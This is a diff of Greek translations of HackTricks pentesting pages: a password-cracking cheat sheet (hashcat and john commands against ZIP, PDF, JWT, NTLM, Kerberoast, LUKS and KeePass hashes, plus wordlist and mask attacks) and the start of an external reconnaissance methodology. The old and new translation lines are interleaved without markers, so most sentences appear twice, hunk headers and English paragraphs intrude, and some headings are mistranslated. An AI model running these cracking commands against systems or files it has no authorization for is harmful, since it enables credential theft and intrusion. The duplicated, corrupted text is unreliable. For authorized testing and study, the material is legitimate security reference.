* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Κρυπτογραφημένα hashes, αιχμές WPA2, και αρχεία MSOffice, ZIP, PDF...)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, και αρχεία MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes και κρυπτογραφημένα αρχεία)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes και hashes αρχείων)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Ελέγξτε αυτό πριν δοκιμάσετε να κάνετε brute force ενός Hash.
Ελέγξτε αυτό πριν προσπαθήσετε να κάνετε brute force σε ένα Hash.
### ZIP
```bash
@ -518,10 +489,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Επίθεση με γνωστό κείμενο σε συμπίεση zip
#### Γνωστή επίplain κωδικοποίηση zip επίθεση
Χρειάζεστε να γνωρίζετε το **καθαρό κείμενο** (ή μέρος του καθαρού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε τα **ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip τρέχοντας: **`7z l encrypted.zip`**\
Κατεβάστε το [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) από τη σελίδα κυκλοφορίας.
Πρέπει να γνωρίζετε το **plaintext** (ή μέρος του plaintext) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\
Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα εκδόσεων.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -544,8 +515,6 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
### PDF
```bash
apt-get install pdfcrack
@ -555,9 +524,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Κωδικός Ιδιοκτήτη PDF
### PDF Owner Password
Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
@ -571,7 +540,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Αποκωδικοποίηση NTLM
### NTLM cracking
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
@ -585,13 +554,13 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Χτυπώντας το Keberoasting
### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Εικόνα Lucks
### Lucks image
#### Μέθοδος 1
@ -611,7 +580,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Άλλος οδηγός Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
Άλλο ένα Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
@ -619,7 +588,7 @@ mount /dev/mapper/mylucksopen /mnt
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### Ιδιωτικό κλειδί PGP/GPG
### PGP/GPG Ιδιωτικό κλειδί
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
@ -630,14 +599,14 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI Master Key
Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια το john
Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια τον john
### Open Office Pwd Protected Column
Αν έχετε ένα αρχείο xlsx με μια στήλη που προστατεύεται με κωδικό πρόσβασης μπορείτε να την καταργήσετε:
Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποπροστατεύσετε:
* **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα
* Για να τον **καταργήσετε** **χειροκίνητα**:
* Για να **αφαιρέσετε** το **χειροκίνητα**:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
@ -656,54 +625,54 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Εργαλεία
**Παραδείγματα κατακερματισμού:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
**Παραδείγματα Hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Αναγνωριστής κατακερματισμού
### Hash-identifier
```bash
hash-identifier
> <HASH>
```
### Λίστες Λέξεων
### Wordlists
* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Εργαλεία Δημιουργίας Λιστών Λέξεων**
### **Wordlist Generation Tools**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Γεννήτρια περιπάτου πληκτρολογίου με προηγμένες δυνατότητες, που μπορεί να ρυθμιστεί με βάση τους χαρακτήρες βάσης, τον χάρτη πλήκτρων και τις διαδρομές.
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### John μετάλλαξη
### John mutation
Διαβάστε _**/etc/john/john.conf**_ και ρυθμίστε το.
Διαβάστε _**/etc/john/john.conf**_ και ρυθμίστε το
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Επιθέσεις Hashcat
#### Hashcat επιθέσεις
* **Επίθεση με λίστα λέξεων** (`-a 0`) με κανόνες
* **Επίθεση λίστας λέξεων** (`-a 0`) με κανόνες
**Το Hashcat** έρχεται ήδη με έναν **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
**Hashcat** έρχεται ήδη με έναν **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Επίθεση με συνδυασμό λιστών λέξεων**
* **Wordlist combinator** attack
Είναι δυνατόν να **συνδυάσετε 2 λίστες λέξεων σε 1** με το hashcat.\
Αν η λίστα 1 περιείχε τη λέξη **"hello"** και η δεύτερη περιείχε 2 γραμμές με τις λέξεις **"world"** και **"earth"**. Οι λέξεις `helloworld` και `helloearth` θα δημιουργηθούν.
Είναι δυνατόν να **συνδυάσετε 2 wordlists σε 1** με το hashcat.\
Αν η λίστα 1 περιείχε τη λέξη **"hello"** και η δεύτερη περιείχε 2 γραμμές με τις λέξεις **"world"** και **"earth"**. Οι λέξεις `helloworld` και `helloearth` θα παραχθούν.
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -746,7 +715,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Επίθεση με λίστα λέξεων + Μάσκα (`-a 6`) / Μάσκα + Λίστα Λέξεων (`-a 7`)
* Λίστα λέξεων + Μάσκα (`-a 6`) / Μάσκα + Λίστα λέξεων (`-a 7`) επίθεση
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -754,27 +723,23 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Τρόποι Hashcat
#### Λειτουργίες Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
## Brute Forcing
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes stored in the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used to create the stored hash. The generated hash is then compared with the target hash from the `/etc/shadow` file. If they match, the password has been successfully cracked.
Καταρρίπτοντας τους Χάρακες Linux - /etc/shadow αρχείο
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
## Brute Force
Brute force attacks are a common way to crack Windows hashes. This method involves trying all possible combinations of characters until the correct password is found. Brute force attacks can be time-consuming but are often effective, especially if the password is weak. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat. It is important to note that using brute force attacks against a system without permission is illegal and unethical.
# Σπάσιμο Windows Hashes
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Αποκωδικοποίηση Συνηθισμένων Κατακερματισμένων Εφαρμογών
Καταρρίπτοντας Κοινά Hash Εφαρμογών
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -784,24 +749,25 @@ Brute force attacks are a common way to crack Windows hashes. This method involv
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -1,58 +1,59 @@
# Μεθοδολογία Εξωτερικής Αναγνώρισης
# Εξωτερική Μεθοδολογία Αναγνώρισης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
## Ανακαλύψεις Περιουσιακών Στοιχείων
## Ανακαλύψεις περιουσιακών στοιχείων
> Σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία εμπίπτουν στο πεδίο εφαρμογής και θέλετε να διαπιστώσετε πραγματικά τι ανήκει σε αυτήν την εταιρεία.
> Έτσι σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία είναι εντός του πεδίου εφαρμογής, και θέλετε να καταλάβετε τι πραγματικά κατέχει αυτή η εταιρεία.
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το επιτύχουμε, θα κάνουμε τα εξής:
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το κάνουμε αυτό, θα:
1. Βρείτε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρείτε το ASN (εάν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις IP εύρους που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήστε αναστρεφόμενες αναζητήσεις whois για να αναζητήσετε άλλες καταχωρήσεις (ονόματα οργανισμών, domains...) που σχετίζονται με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήστε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσετε άλλα περιουσιακά στοιχεία (το κόλπος με το `ssl` μπορεί να γίνει αναδρομικά).
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
Καταρχάς, πρέπει να μάθουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **αναζητήστε** την **κύρια εταιρεία** και **κάντε κλικ** στο "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που έχουν εξαγοραστεί από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα της **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
Πρώτα απ' όλα, πρέπει να ξέρουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς μπορούμε να βρούμε τα περιουσιακά τους στοιχεία.
> Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς να βρούμε τα περιουσιακά τους στοιχεία.
### **ASNs**
Ένα αυτόνομο αριθμό συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που ανατίθεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανατιθέμενων Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** διευθύνσεων **IP** που έχουν ορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικείται από μία μόνο οργάνωση αλλά μπορεί να αποτελείται από πολλούς φορείς.
Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Internet Assigned Numbers Authority (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει ανατεθεί κάποιο ASN** για να βρούμε τα **εύρη IP** της. Θα ήταν ενδιαφέρον να πραγματοποιήσουμε ένα **τεστ ευπαθειών** εναντίον όλων των **οικοδεσποζόμενων** στο **πεδίο εφαρμογής** και να αναζητήσουμε **domains** μέσα σε αυτές τις IPs.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με την **IP** ή με το **domain** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Ανάλογα με την περιοχή της εταιρείας αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για να συγκεντρώσετε περισσότερα δεδομένα:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Πάντως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(εύρη IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αποδώσει κάποιο ASN** για να βρούμε τις **περιοχές IP** της. Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Επιπλέον, η υπο-ενότητα απαρίθμησης του [**BBOT**](https://github.com/blacklanternsecurity/bbot) συγκεντρώνει αυτόματα και περιλαμβάνει συνοπτικά τους ASNs στο τέλος της σάρωσης.
Επίσης, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** η καταμέτρηση υποτομέων συγκεντρώνει και συνοψίζει αυτόματα τα ASNs στο τέλος της σάρωσης.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -69,56 +70,59 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
Μπορείτε να βρείτε τις εύρεσης IP ενός οργανισμού χρησιμοποιώντας επίσης το [http://asnlookup.com/](http://asnlookup.com) (διαθέτει δωρεάν API).\
Μπορείτε να βρείτε την IP και το ASN ενός domain χρησιμοποιώντας το [http://ipv4info.com/](http://ipv4info.com).
Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης επίσης χρησιμοποιώντας [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\
Μπορείτε να βρείτε το IP και ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com).
### **Αναζήτηση ευπαθειών**
### **Αναζητώντας ευπάθειες**
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου εφαρμογής**, οπότε αν σας επιτρέπεται μπορείτε να εκτελέσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
Επίσης, μπορείτε να εκτελέσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να εξετάσετε σε αυτό το βιβλίο πώς να εκτελέσετε ελέγχους ασφαλείας σε πιθανές υπηρεσίες που εκτελούνται.\
